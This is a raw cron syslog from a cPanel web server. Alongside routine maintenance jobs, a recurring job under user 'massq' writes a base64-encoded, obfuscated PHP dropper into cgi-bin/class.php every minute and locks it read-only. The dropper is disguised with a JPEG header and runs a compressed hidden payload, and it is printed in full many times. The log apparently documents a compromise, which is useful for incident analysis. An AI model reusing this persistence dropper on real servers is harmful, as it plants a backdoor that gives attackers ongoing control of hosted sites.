Apr 10 12:00:01 server CROND[15070]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 12:00:01 server CROND[15071]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Apr 10 12:00:01 server CROND[15073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:00:01 server CROND[15075]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:00:01 server CROND[15072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:00:01 server CROND[15074]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 12:01:01 server CROND[15233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:01:01 server CROND[15234]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 12:01:01 server run-parts(/etc/cron.hourly)[15234]: starting 0anacron
Apr 10 12:01:01 server run-parts(/etc/cron.hourly)[15246]: finished 0anacron
Apr 10 12:02:01 server CROND[15429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:03:01 server CROND[15497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:04:01 server CROND[15587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:05:01 server CROND[15676]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:05:01 server CROND[15679]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 12:05:01 server CROND[15678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:05:01 server CROND[15677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:06:01 server CROND[15799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:07:01 server CROND[15964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:08:01 server CROND[16035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:09:01 server CROND[16103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:09:01 server CROND[16104]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 12:10:01 server CROND[16258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:10:01 server CROND[16259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:10:01 server CROND[16261]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 12:10:01 server CROND[16262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:11:01 server CROND[16381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:12:01 server CROND[16547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:12:01 server CROND[16548]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
